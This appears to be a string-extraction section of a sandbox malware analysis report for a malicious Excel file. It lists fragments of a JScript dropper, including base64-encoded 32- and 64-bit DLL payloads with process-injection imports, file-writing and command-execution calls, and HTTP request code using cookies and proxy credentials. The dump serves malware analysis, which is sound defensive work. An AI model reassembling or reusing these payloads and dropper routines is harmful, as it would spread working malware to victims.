mockDll32 += "UFH/FVggABCAvfj+//8AjbX4/v//dAZGgD4AdfqAPi50CY1JAE6APi51+mgAIQAQVv8VjCAAEIPECIXAdAq4AQAAAF6L5V3DixUI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UHJvY2VzczMyRmlyc3QAAJADV2FpdEZvclNpbmdsZU9iamVjdACDA1ZpcnR1YWxGcmVlAKQDV3JpdGVGaWxlAIYCT3BlblByb2Nl";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "UotVCI1NjFFQUGoEagFQUFJQiXXIiXXMx0W4AQEAAIlF6IlF7IlF8IlF9P8VNCAAEIXAD4QiAgAAaP8DAACNhcH4//9qAFDGhcD4";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Uv/WM8BfXluL5V3DzMzMzMxVi+y4ABAAAOijAwAAi0UMU1aL2ehX+///i/CF9nUGXluL5V3DV2j/BwAAjYUB8P//agBQxoUA8P//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VCIAAGYiAAB4IgAAjiIAAJwiAACoIgAAtiIAAM4iAADeIgAA8iIAAAQjAAAYIwAAJCMAADYjAABGIwAAWCMAAHQjAACEIwAAlCMA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VldTagBo//8fAP8VJCAAEIvwhfZ0EGoBVv8VOCAAEFb/FWQgABBoJAEAAI1EJBhqAFDHRCQcKAEAAOhBBwAAg8QMagBqAv8VYCAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "VlP/0IXAdAxXVlPoFf///4XAdQQzwOtOV1ZT6Jj9//+D/gGJRQx1DIXAdTdXUFPo8f7//4X2dAWD/gN1JldWU+jg/v//hcB1AyFF";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "wF6L5V3Di0QkCIXAdQ45BRAwABB+Lv8NEDAAEIsNiCAAEIP4AYsJiQ0cMAAQdT9ogAAAAP8VhCAAEIXAWaMkMAAQdQQzwOtmgyAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "Y21wAACZAm1lbXNldAAAAAAAAAAAAAAAAAAAAAAAAEc+ulMAAAAAwiQAAAEAAAABAAAAAQAAALgkAAC8JAAAwCQAAJAVAADWJAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ZCAAEF9euAEAAABbi+Vdw1WL7ItFCKMUMAAQuAEAAABdwgwAzMzMzMzMzMzMzMzMVYvsgewoBQAAiw0UMAAQVmgFAQAAjYX4/v//";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "zMzMzMzMzMzMzFaL8IX2fitXiz0YIAAQi/9o6AMAAFNO/9eFwHQEhfZ171P/FVQgABBQ6CL///+DxARfXsPMzMzMzMzMzMzMzMxV";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 += "ZXNzQQAAXgNUZXJtaW5hdGVQcm9jZXNzAAC1AlJlYWRGaWxlAACgAUdldFByb2NBZGRyZXNzAACBA1ZpcnR1YWxBbGxvYwAAggNW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll32 = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/+schf90GEiLBXQVAABIhcB0DEyLxovTSIvN/9CL+EiLdCRASItsJDhIi1wkMIvHSIt8JEhIg8Qow/8lEgYAAMzMzMzMzMzMzMxI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "/0mLzf8V4wwAAEmLzf8VYg0AAEiNTQgz0kG4yAQAAEiJXQDo6QcAAEiLTCRYSI1VAMdFMAsAEAD/FW8MAACFwA+ErQEAAEyLrYgA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "6PIDAABIjY2BBAAAM9JBuP8HAADGhYAEAAAA6NcDAABMjY1gAgAATI1FQEiNFeUJAABIjY2ADAAA/xVkCQAASI2FYAIAAEyNjVAB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "7NAJAABIi4UgCQAAM9tNi/lIY3A8SIlcJGhJi/hIA/JMi+JMi/GBPlBFAAB0BzPA6XMDAAAz0kiNTZhMiawkAAoAAESNQmDHRZBo";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "9AoAAEiLTCRY/xVZCwAASItMJFD/FU4LAAAzwEyLrCQACgAATI2cJNAJAABJi1tASYtzSEmL40FfQV5BXF9dw0iJDWEaAAC4AQAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "A1dyaXRlRmlsZQCCAk9wZW5Qcm9jZXNzAJgBR2V0UHJpdmF0ZVByb2ZpbGVJbnRBAIoDVmlydHVhbEZyZWVFeAC0AlJlYWRQcm9j";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "A1NsZWVwAKwBX3N0cmljbXAAAKECbWVtc2V0AAAAAAAAAAAAAEs+ulMAAAAA4iYAAAEAAAABAAAAAQAAANgmAADcJgAA4CYAALAV";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAA6DUJAABIi89miV3Q/xWkDgAASIlcJDBMjUwkeLoAAABAQbgDAAAASIvPx0QkKIAAAADHRCR4GAAAAEiJXYDHRYgBAAAAx0Qk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAA2QFHZXRUaHJlYWRDb250ZXh0AABWAENyZWF0ZUZpbGVBAGYBR2V0RmlsZVNpemUARgNTZXRUaHJlYWRDb250ZXh0";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAPkQ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQISIl0JBhXSIPsQEUzyUjHRCQwAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAkAAAAAAAAVCQAAAAAAABiJAAAAAAAAHAkAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAAAAAIAAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAzgsAAAAQAAAADAAAAAQAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAAAAAAAAQAAAwC5wZGF0YQAAkAAAAABAAAAAAgAAABgAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAACAAAGAucmRhdGEAAAYHAAAAIAAAAAgAAAAQAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAACVzClBJRD0lZAolcwAAAABOdFVubWFwVmlld09mU2VjdGlvbgAAAABudGRsbC5kbGwAAAAlcyAlcwAAAAAAAABNb2Nr";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAAAAFBFAABkhgQASz66UwAAAAAAAAAA8AAiIAsCCgAADAAAAAwAAAAAAABwGQAAABAAAAAAAIABAAAAABAAAAACAAAFAAIA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAABAJAAAAAAAAFQkAAAAAAAAYiQAAAAAAABwJAAAAAAAAIQkAAAAAAAAliQAAAAAAACoJAAAAAAAAL4kAAAAAAAAzCQAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAADaJQAAAAAAAO4lAAAAAAAACiYAAAAAAAAYJgAAAAAAAC4mAAAAAAAAPiYAAAAAAACOJgAAAAAAAAAAAAAAAAAAcCYAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAAUAAgAAAAAAAFAAAAAEAAAAAAAAAgBAAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAACwJgAAVgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAAD4mAAAAAAAAjiYAAAAAAAAAAAAAAAAAAHAmAAAAAAAAfCYAAAAAAACEJgAAAAAAAFomAAAAAAAAliYAAAAAAACiJgAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAAhCQAAAAAAACWJAAAAAAAAKgkAAAAAAAAviQAAAAAAADMJAAAAAAAANgkAAAAAAAA5iQAAAAAAAD+JAAAAAAAAA4lAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAAiA1NldEZpbGVQb2ludGVyAACSAlByb2Nlc3MzMkZpcnN0AACWA1dhaXRGb3JTaW5nbGVPYmplY3QAiQNWaXJ0dWFsRnJlZQCq";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAB8JgAAAAAAAIQmAAAAAAAAWiYAAAAAAACWJgAAAAAAAKImAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABEi0wkYEiNFToOAABIjY3QBAAATIvHTIl8JCD/FeUNAABIg8n/M8BIjb3QBAAATI2NIAkAAPKuSI2V0AQAAEiJXCQgSPfRTI1B";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABEjUkE/xUXEAAASIvwSIXAdGVFM8lFM8Az0kiLy/8Vlg8AAEyNTCRYRIvHSIvWSIvLSMdEJCAAAAAA/xXRDwAAhcB0Ijt8JFh1";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABIi0wkUEiNhQgJAABMjUQkcEmNVRBBuQgAAABIiUQkIP8VmgwAAIXAD4R4AQAASIO9CAkAAAgPhWoBAABIi0YwSDlEJHB1KUiN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABMjUVASI0VywkAAEiNjYAEAACJXCQoSIlEJCD/FTUJAABBu01aAABmRDkedAQz/+slTI2NgAQAAEyNhXADAABIjY2ADAAASIvW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AACAIgAAABEAALMRAABwIgAAwBEAABcSAABUIgAAFxIAAIQVAABAIgAAhBUAAKAVAAAwIgAAsBUAAF4XAAC0IgAAXhcAAGkYAACg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AACJAw+2BXwLAABIjRV5CwAAiEMESI1EJDBIjQ1yCwAASIlEJCjHRCQgBQEAAEiJtCSQFQAA/xUbCgAATI1cJDBMjY1QAQAATIlc";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAD0JgAAAABtb2NrX3J1bjJfeDY0LmRsbABEbGxSZWdpc3RlclNlcnZlcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AADYJAAAAAAAAOYkAAAAAAAA/iQAAAAAAAAOJQAAAAAAACIlAAAAAAAANCUAAAAAAABIJQAAAAAAAFQlAAAAAAAAZiUAAAAAAAB2";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AGFyZ3MAAAAAb3V0ZgAAAAB0aW1lAAAAAAEEAQAEQgAAAY0JAI10CQAVZAgAEFQHAAs0BgAEQgAAARoJABo0BgATdAkADmQIAAlU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ALoAAACARY1BAcdEJCgAAAAAx0QkIAMAAAD/Fc4PAABIi9hIg/j/D4SgAAAAM9JIi8j/Fb4PAACL+IP4/w+EgQAAADPJi9dBuAAw";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AMPMzMxIiVwkGFVIjawkgOv//7iAFQAA6LgFAABIK+BIiw02GgAASI1UJDBBuAUBAAD/Fc0KAACAfCQwAEiNXCQwdAmQSP/DgDsA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ANAiAAA8AAAAAAAAAAAAAAAAQAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "bGhlbHAzMlNuYXBzaG90AAA2AENsb3NlSGFuZGxlALMDV3JpdGVQcm9jZXNzTWVtb3J5AADOAlJlc3VtZVRocmVhZAAAhgBEZWxl";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BnNVSI18MCiLB4XAdDyLV/xEi0cESItMJFBIA1QkaESLyEiNhQgJAABNA8RIiUQkIP8VGgwAAIXAD4SIAAAAiwdIO4UICQAAdX0P";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BwAEQgAAIQAAAMARAAAXEgAAVCIAACEIAgAI1EABwBEAABcSAABUIgAAASELACFkQwEhNEIBIQE6ARLwEOAOwAxwC1AAAAENBQAN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BWIXAACFwA+OhwAAAEiLDXMXAAD/yEiFyYkFSBcAAHROSIsFVxcAAEiD6AhIO8FIiQVJFwAAciZIgzgAdBD/EEiLDUAXAABIiwUx";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CAAAi8joqPj//0iLz/8VZwgAAEiLvCSYFQAASIu0JJAVAABIi5wkoBUAADPASIHEgBUAAF3DzMzMzMzMzMzMzMzMSIPsKIXSdXqL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CgAASI0NqAoAAEUzwP8VGwkAAEiNjVABAACL2Oi9+P//SIvwSIXAD4QaAQAASI2NgQwAADPSQbj/BwAASIm8JJgVAADGhYAMAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "Cw8AAIXAdd9Ii8//FSYPAABIi5wkYAEAAEiBxFABAABfw8zMzMzMzMzMzMzMzMxIiVwkGEiJdCQgVVdBVEFWQVdIjawkMPf//0iB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "cwAAhwNWaXJ0dWFsQWxsb2MAAIgDVmlydHVhbEFsbG9jRXgAAJ4BR2V0UHJpdmF0ZVByb2ZpbGVTdHJpbmdBAACUAlByb2Nlc3Mz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "dfiAOy50Cw8fAEj/y4A7LnX4SI0VrQsAAEiLy/8VAAsAAIXAdBa4AQAAAEiLnCSgFQAASIHEgBUAAF3DiwWMCwAATI1NQEyNBYYL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "dGVGaWxlQQBLRVJORUwzMi5kbGwAAL8Cc3ByaW50ZgBtc3ZjcnQuZGxsAAD0AF9pbml0dGVybQBkAmZyZWUAAJkCbWFsbG9jAABc";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "DYoNAAD/FcQMAABIjRVlDQAASIvI/xV8DAAASItUJHBIi0wkUP/QRItGUEiLVjBIi0wkUEG5ADAAAMdEJCBAAAAA/xVfDAAASIlE";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "FwAASIPoCEg7wUiJBSMXAABz2v8VAwgAAEjHBRgXAAAAAAAAuAEAAABIg8Qow4P6AXXxuQABAADozwEAAEiFwEiJBfUWAAB1BzPA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "g+woSIlsJDhIiXQkQEiJfCRIM/9IiVwkMEiL8b3/////SIvO6EQAAABIhcBIi9h1I4vP/xW+BQAARI2f6AMAAEGB+2DqAABBi/sP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "GwGwAgZQAAABBAEABBIAABAjAAAAAAAAAAAAAEwmAAAAIAAACCQAAAAAAAAAAAAAZCYAAPggAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hbAAAACLDeUVAACFyQ+OogAAAP/JiQ3VFQAASIsN7hUAAEiFyQ+EigAAAEiLBdYVAABIg+gISDvBSIkFyBUAAHImSIM4AHQQ/xBI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hcB0EUyLxovTSIvN6Lr+//+FwHUWM8BIi3QkQEiLbCQ4SItcJDBIg8Qow0yLxovTSIvNSIl8JEjonvv//4P7AYv4D4V+AAAAhcAP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "HEiLy/8VDhAAAEiLxkiLXCRQSIt0JGBIg8RAX8Mz0kG4AIAAAEiLzv8VWg8AAEiLy/8V4Q8AAEiLXCRQSIt0JGAzwEiDxEBfw8zM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hKm3oPmpwD2Eqbeg6anFPYSpt6D/qcQ9hKnBPYWp6T2EqdqgK6nCPYSp2qAfqcA9hKnaoBmpwD2EqVJpY2jBPYSpAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IAIAAAD/FYsNAABMi+hIg/j/D4TwAgAASIlF6EiJRfAzwEiJRCRYSIlEJGBIjUQkUEiJRCRISI1FkEUzyUiJRCRASIlcJDhIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IgAAaRgAAIQYAACQIgAAkBgAAGwZAAD4IQAAcBkAAOAaAAAAIgAA8BoAAF4bAAAYIgAAgBsAAM4bAADIIgAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IiUAAAAAAAA0JQAAAAAAAEglAAAAAAAAVCUAAAAAAABmJQAAAAAAAHYlAAAAAAAAiCUAAAAAAACkJQAAAAAAALQlAAAAAAAAxCUA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "iw2/FQAASIsFsBUAAEiD6AhIO8FIiQWiFQAAc9r/FYIGAABIxwWXFQAAAAAAAOs6hdt0BYP7A3UxTIvGi9NIi83o7/3//4XAdQQz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JChMjQU0CwAASI0VPAsAAEiNDTELAADHRCQgBQEAAP8V5wkAAEyNXCQwTI2NYAIAAEyJXCQoTI0FAAsAAEiNFRALAABIjQ39CgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JEyJXCQITTPbTI1UJBhMK9BND0LTZUyLHCUQAAAATTvTcxZmQYHiAPBNjZsA8P//QcYDAE0703XwTIsUJEyLXCQISIPEEMMAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JGhIhcAPhCUBAABEi05USI2NCAkAAE2LxEiJTCQgSItMJFBIi9D/FXAMAACFwA+E3gAAAItGVEg5hQgJAAAPhc4AAAAPt0YUZjte";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JQAAAAAAAIglAAAAAAAApCUAAAAAAAC0JQAAAAAAAMQlAAAAAAAA2iUAAAAAAADuJQAAAAAAAAomAAAAAAAAGCYAAAAAAAAuJgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "MEiJbCQ4SIl0JECL2kiL6UmL8HUeORVrFgAAdVkzwEiLdCRASItsJDhIi1wkMEiDxCjDg/oBdAWD+gJ1OUiLBWoWAABIhcB0Bv/Q";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "MEUzwEmL1jPJx0QkKAQAAADHRcwBAQAASIlcJFDHRCQgAQAAAP8VgA0AAIXAD4SKAgAASI2N0QQAADPSQbj/AwAAiJ3QBAAA6FoI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "Mk5leHQApwFHZXRQcm9jZXNzSWQAAH8BR2V0TW9kdWxlRmlsZU5hbWVBAACBAUdldE1vZHVsZUhhbmRsZUEAAHQAQ3JlYXRlVG9v";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "NCwADQEqAAZwAAABDwYAD2QMAA80CgAPcgtwIQAAALAVAABeFwAAtCIAACEIAgAIdLMCsBUAAF4XAAC0IgAAAccHAMdksgIbNLQC";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "R/07/XXQSIvDSIt8JEhIi3QkQEiLbCQ4SItcJDBIg8Qow/8lpAUAAP8ltgUAAMzMzMzMzMzMzMzMzGZmZpBmZmaQZpBIg+wQTIkU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIl0JCDos/n//0iL+DPSQbgAgAAASIvO/xUXCAAASIX/dDuF234uZg8fRAAAuugDAABIi8//y/8V8AcAAIXAdASF23XoSIvP/xVX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIPEKMNIxwAAAAAASIsF3hYAAEiNFe8HAABIjQ3gBwAASIkFwRYAAOiEAQAA/wWeFgAAuAEAAABIg8Qow8zMzMxIg+wohdJIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "t0YG/8NIg8coO9h8sEiLTCRQSI2FCAkAAEyNRCRoSY1VEEG5CAAAAEiJRCQg/xXTCwAAhcB0RUiDvQgJAAAIdTuLRihIi0wkWEiN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACFXOr6wT2EqcE9hKnBPYSpaUj6qcA9";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TW9kdWxlPSVzClJlYWxDbWQ9JXMgJXMKVGltZU91dD0lZAoKAAAAAC5kbGwAAAAALmluaQAAAABtb2NrAAAAAGNmZwByZWFsAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "uCwBAADHRCQgMAEAAOgMCgAAM9KNSgL/FV0PAABIjVQkIEiLyEiL+P8VtA4AAIXAdCE5XCRAdQmLTCQo6Hn///9IjVQkIEiLz/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "VQBIA0QkaEiJhYAAAAD/Fe8KAABIi0wkWP8VpAsAAEiLTCRY/xWJCwAASItEJFDrNkiLVCRoSIXSdBRIi0wkUEG5AIAAAEUzwP8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "x0QkIAUBAAD/FbMJAABMjVwkMEyNjXADAABMiVwkKEyNBcwKAABIjRXkCgAASI0NyQoAAMdEJCAFAQAA/xV/CQAATI1MJDBIjRXL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "zMzMzMxIiVwkCFdIgexQAQAAi9lEi8Ez0rn//x8A/xUpDwAASIv4SIXAdBe6AQAAAEiLyP8VOw8AAEiLz/8Vig8AAEiNTCQkM9JB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ZXNzTWVtb3J5AGkAQ3JlYXRlUHJvY2Vzc0EAAGQDVGVybWluYXRlUHJvY2VzcwAAsQJSZWFkRmlsZQAAogFHZXRQcm9jQWRkcmVz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllName = '~.' + this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllPath = this.tmpDir + '\\' + mockDllName + '.dll';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockIniPath = this.tmpDir + '\\' + mockDllName + '.ini';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockOutPath = this.tmpDir + '\\' + mockDllName + '.out';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockRun:function(real, args, timeout, mock){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
MSOBALLOON
Ansi based on Runtime Data (EXCEL.EXE )
MsoHelp11
Ansi based on Runtime Data (EXCEL.EXE )
MSVCRT.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
msvcrt.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
MultiByteToWideChar
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
mutexFile : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFileName : '_xmutex_',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFilePath : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
navigateIE:function(ie, url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
navNoHistory = 0x2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.dataType = 'bin.base64';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.text = bin;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
now:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
nregisterServer
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.254000.00000004.mdmp)
ntdll.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
NtSetInformationProcess
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
oCimv2 : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oExec = this.oShell.Exec(cmdline);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oExec.Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
OfficeDiagnostics Information
Ansi based on Runtime Data (EXCEL.EXE )
oFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oFile.Write(base64decode(JSCode));
Ansi based on Dropped File (~HFYJEZHM.tmp.305529)
oFS : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp = new ActiveXObject('MSXML2.ServerXMLHTTP.6.0');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open('GET', url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open(method, url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send(data);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setOption(2, 13056);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PRECONFIG);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PROXY, proxy, '<local>');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxyCredentials(username, password);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('CONTENT-TYPE', 'application/x-www-form-urlencoded');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('Cookie', cookie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oIE : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ok = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ok = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ole32.dll
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
OLEAUT32.dll
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
OleInitialize
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
OleUninitialize
Ansi based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.251000.00000020.mdmp)
oNet : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
OpenProcessToken
Ansi based on Dropped File (~HFYJEZHM.dll.305389)
Operating System
Unicode based on Memory/File Scan (regsvr32.exe , 00305669-00002108.00000000.309745.255000.00000002.mdmp)
orz.fire();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oSA : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
osBit : '',
